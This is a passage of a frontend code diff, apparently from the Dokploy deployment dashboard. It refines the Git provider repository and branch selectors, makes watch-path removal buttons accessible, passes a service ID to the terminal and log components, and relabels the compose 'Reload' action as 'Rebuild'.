"ml-auto h-4 w-4",
|
||||
repo.name === field.value.repo
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username ===
|
||||
field.value.owner
|
||||
? "opacity-100"
|
||||
: "opacity-0",
|
||||
)}
|
||||
@@ -371,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branch..."
|
||||
@@ -402,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", branch.name);
|
||||
}}
|
||||
>
|
||||
{branch.name}
|
||||
<span className="truncate">{branch.name}</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
@@ -466,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -520,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+32
-15
@@ -252,14 +252,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
: isLoadingRepositories
|
||||
? "Loading...."
|
||||
: (repositories?.find(
|
||||
(repo) => repo.name === field.value.repo,
|
||||
(repo) =>
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.login === field.value.owner,
|
||||
)?.name ?? field.value.repo)}
|
||||
|
||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -279,7 +284,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
<CommandGroup>
|
||||
{repositories?.map((repo) => (
|
||||
<CommandItem
|
||||
value={repo.name}
|
||||
value={`${repo.owner.login}/${repo.name}`}
|
||||
key={repo.url}
|
||||
onSelect={() => {
|
||||
form.setValue("repository", {
|
||||
@@ -289,8 +294,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">{repo.name}</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.login}
|
||||
</span>
|
||||
@@ -298,7 +303,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
repo.name === field.value.repo
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.login === field.value.owner
|
||||
? "opacity-100"
|
||||
: "opacity-0",
|
||||
)}
|
||||
@@ -345,7 +351,10 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branch..."
|
||||
@@ -373,7 +382,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", branch.name);
|
||||
}}
|
||||
>
|
||||
{branch.name}
|
||||
<span className="truncate">{branch.name}</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
@@ -429,8 +438,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
</TooltipProvider>
|
||||
</div>
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
defaultValue={field.value}
|
||||
onValueChange={(value) => {
|
||||
if (!value) {
|
||||
return;
|
||||
}
|
||||
field.onChange(value);
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<FormControl>
|
||||
@@ -478,14 +491,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -534,14 +551,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+22
-10
@@ -272,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -310,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">
|
||||
{repo.name}
|
||||
</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.username}
|
||||
</span>
|
||||
@@ -368,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branch..."
|
||||
@@ -396,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
form.setValue("branch", branch.name);
|
||||
}}
|
||||
>
|
||||
{branch.name}
|
||||
<span className="truncate">{branch.name}</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
@@ -459,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -513,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
|
||||
<DockerTerminalModal
|
||||
appName={data?.appName || ""}
|
||||
serverId={data?.serverId || ""}
|
||||
serviceId={applicationId}
|
||||
>
|
||||
<Button
|
||||
variant="outline"
|
||||
|
||||
@@ -50,9 +50,10 @@ export const badgeStateColor = (state: string) => {
|
||||
interface Props {
|
||||
appName: string;
|
||||
serverId?: string;
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const ShowDockerLogs = ({ appName, serverId }: Props) => {
|
||||
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
|
||||
const [containerId, setContainerId] = useState<string | undefined>();
|
||||
const [option, setOption] = useState<"swarm" | "native">("native");
|
||||
|
||||
@@ -182,6 +183,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
|
||||
serverId={serverId || ""}
|
||||
containerId={containerId || "select-a-container"}
|
||||
runType={option}
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
@@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
|
||||
const handleRunManually = async (scheduleId: string) => {
|
||||
setRunningSchedules((prev) => new Set(prev).add(scheduleId));
|
||||
try {
|
||||
await runManually({ scheduleId });
|
||||
toast.success("Schedule run successfully");
|
||||
const result = await runManually({ scheduleId });
|
||||
if (result.status === "error") {
|
||||
toast.error("Schedule run failed, check the deployment logs");
|
||||
} else {
|
||||
toast.success("Schedule run successfully");
|
||||
}
|
||||
await refetchSchedules();
|
||||
} catch {
|
||||
toast.error("Error running schedule");
|
||||
|
||||
@@ -55,12 +55,14 @@ interface Props {
|
||||
appName: string;
|
||||
serverId?: string;
|
||||
appType: "stack" | "docker-compose";
|
||||
serviceId?: string;
|
||||
}
|
||||
|
||||
export const ShowComposeContainers = ({
|
||||
appName,
|
||||
appType,
|
||||
serverId,
|
||||
serviceId,
|
||||
}: Props) => {
|
||||
const { data, isPending, refetch } =
|
||||
api.docker.getContainersByAppNameMatch.useQuery(
|
||||
@@ -122,6 +124,7 @@ export const ShowComposeContainers = ({
|
||||
key={container.containerId}
|
||||
container={container}
|
||||
serverId={serverId}
|
||||
serviceId={serviceId}
|
||||
onActionComplete={() => refetch()}
|
||||
/>
|
||||
))}
|
||||
@@ -142,12 +145,14 @@ interface ContainerRowProps {
|
||||
status: string;
|
||||
};
|
||||
serverId?: string;
|
||||
serviceId?: string;
|
||||
onActionComplete: () => void;
|
||||
}
|
||||
|
||||
const ContainerRow = ({
|
||||
container,
|
||||
serverId,
|
||||
serviceId,
|
||||
onActionComplete,
|
||||
}: ContainerRowProps) => {
|
||||
const [logsOpen, setLogsOpen] = useState(false);
|
||||
@@ -236,6 +241,7 @@ const ContainerRow = ({
|
||||
<DockerTerminalModal
|
||||
containerId={container.containerId}
|
||||
serverId={serverId || ""}
|
||||
serviceId={serviceId}
|
||||
>
|
||||
Terminal
|
||||
</DockerTerminalModal>
|
||||
@@ -280,6 +286,7 @@ const ContainerRow = ({
|
||||
containerId={container.containerId}
|
||||
serverId={serverId}
|
||||
runType="native"
|
||||
serviceId={serviceId}
|
||||
/>
|
||||
</div>
|
||||
</DialogContent>
|
||||
|
||||
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
|
||||
)}
|
||||
{canDeploy && (
|
||||
<DialogAction
|
||||
title="Reload Compose"
|
||||
description="Are you sure you want to reload this compose?"
|
||||
title="Rebuild Compose"
|
||||
description="Are you sure you want to rebuild this compose?"
|
||||
type="default"
|
||||
onClick={async () => {
|
||||
await redeploy({
|
||||
composeId: composeId,
|
||||
})
|
||||
.then(() => {
|
||||
toast.success("Compose reloaded successfully");
|
||||
toast.success("Compose rebuilt successfully");
|
||||
refetch();
|
||||
})
|
||||
.catch(() => {
|
||||
toast.error("Error reloading compose");
|
||||
toast.error("Error rebuilding compose");
|
||||
});
|
||||
}}
|
||||
>
|
||||
@@ -109,12 +109,14 @@ export const ComposeActions = ({ composeId }: Props) => {
|
||||
<TooltipTrigger asChild>
|
||||
<div className="flex items-center">
|
||||
<RefreshCcw className="size-4 mr-1" />
|
||||
Reload
|
||||
Rebuild
|
||||
</div>
|
||||
</TooltipTrigger>
|
||||
<TooltipPrimitive.Portal>
|
||||
<TooltipContent sideOffset={5} className="z-60">
|
||||
<p>Reload the compose without rebuilding it</p>
|
||||
<p>
|
||||
Rebuilds the compose without downloading the source code
|
||||
</p>
|
||||
</TooltipContent>
|
||||
</TooltipPrimitive.Portal>
|
||||
</Tooltip>
|
||||
@@ -206,6 +208,7 @@ export const ComposeActions = ({ composeId }: Props) => {
|
||||
appName={data?.appName || ""}
|
||||
serverId={data?.serverId || ""}
|
||||
appType={data?.composeType || "docker-compose"}
|
||||
serviceId={data?.composeId}
|
||||
>
|
||||
<Button
|
||||
variant="outline"
|
||||
|
||||
+26
-13
@@ -258,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
: isLoadingRepositories
|
||||
? "Loading...."
|
||||
: (repositories?.find(
|
||||
(repo) => repo.name === field.value.repo,
|
||||
(repo) =>
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username === field.value.owner,
|
||||
)?.name ?? "Select repository")}
|
||||
|
||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -285,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
<CommandGroup>
|
||||
{repositories?.map((repo) => (
|
||||
<CommandItem
|
||||
value={repo.name}
|
||||
value={`${repo.owner.username}/${repo.name}`}
|
||||
key={repo.url}
|
||||
onSelect={() => {
|
||||
form.setValue("repository", {
|
||||
@@ -296,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">{repo.name}</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.username}
|
||||
</span>
|
||||
@@ -305,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
repo.name === field.value.repo
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username === field.value.owner
|
||||
? "opacity-100"
|
||||
: "opacity-0",
|
||||
)}
|
||||
@@ -352,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branch..."
|
||||
@@ -380,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", branch.name);
|
||||
}}
|
||||
>
|
||||
{branch.name}
|
||||
<span className="truncate">{branch.name}</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
@@ -442,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -497,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+9
-5
@@ -251,14 +251,18 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -306,14 +310,14 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+29
-14
@@ -255,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
: isLoadingRepositories
|
||||
? "Loading...."
|
||||
: (repositories?.find(
|
||||
(repo) => repo.name === field.value.repo,
|
||||
(repo) =>
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username === field.value.owner,
|
||||
)?.name ?? "Select repository")}
|
||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -282,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
{repositories?.map((repo) => (
|
||||
<CommandItem
|
||||
key={repo.url}
|
||||
value={repo.name}
|
||||
value={`${repo.owner.username}/${repo.name}`}
|
||||
onSelect={() => {
|
||||
form.setValue("repository", {
|
||||
owner: repo.owner.username,
|
||||
@@ -291,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">{repo.name}</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.username}
|
||||
</span>
|
||||
@@ -300,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
repo.name === field.value.repo
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.username === field.value.owner
|
||||
? "opacity-100"
|
||||
: "opacity-0",
|
||||
)}
|
||||
@@ -348,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branches..."
|
||||
@@ -365,8 +374,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", branch.name)
|
||||
}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
{branch.name}
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">
|
||||
{branch.name}
|
||||
</span>
|
||||
</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
@@ -431,14 +442,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -486,14 +501,14 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+32
-15
@@ -245,14 +245,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
: isLoadingRepositories
|
||||
? "Loading...."
|
||||
: (repositories?.find(
|
||||
(repo) => repo.name === field.value.repo,
|
||||
(repo) =>
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.login === field.value.owner,
|
||||
)?.name ?? field.value.repo)}
|
||||
|
||||
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -272,7 +277,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
<CommandGroup>
|
||||
{repositories?.map((repo) => (
|
||||
<CommandItem
|
||||
value={repo.name}
|
||||
value={`${repo.owner.login}/${repo.name}`}
|
||||
key={repo.url}
|
||||
onSelect={() => {
|
||||
form.setValue("repository", {
|
||||
@@ -282,8 +287,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">{repo.name}</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.login}
|
||||
</span>
|
||||
@@ -291,7 +296,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
repo.name === field.value.repo
|
||||
repo.name === field.value.repo &&
|
||||
repo.owner.login === field.value.owner
|
||||
? "opacity-100"
|
||||
: "opacity-0",
|
||||
)}
|
||||
@@ -338,7 +344,10 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search branch..."
|
||||
@@ -366,7 +375,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", branch.name);
|
||||
}}
|
||||
>
|
||||
{branch.name}
|
||||
<span className="truncate">{branch.name}</span>
|
||||
<CheckIcon
|
||||
className={cn(
|
||||
"ml-auto h-4 w-4",
|
||||
@@ -423,8 +432,12 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
</TooltipProvider>
|
||||
</div>
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
defaultValue={field.value}
|
||||
onValueChange={(value) => {
|
||||
if (!value) {
|
||||
return;
|
||||
}
|
||||
field.onChange(value);
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<FormControl>
|
||||
@@ -470,14 +483,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -529,14 +546,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+22
-10
@@ -274,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search repository..."
|
||||
@@ -312,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
form.setValue("branch", "");
|
||||
}}
|
||||
>
|
||||
<span className="flex items-center gap-2">
|
||||
<span>{repo.name}</span>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
<span className="truncate">
|
||||
{repo.name}
|
||||
</span>
|
||||
<span className="text-muted-foreground text-xs">
|
||||
{repo.owner.username}
|
||||
</span>
|
||||
@@ -370,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
|
||||
</Button>
|
||||
</FormControl>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent className="p-0" align="start">
|
||||
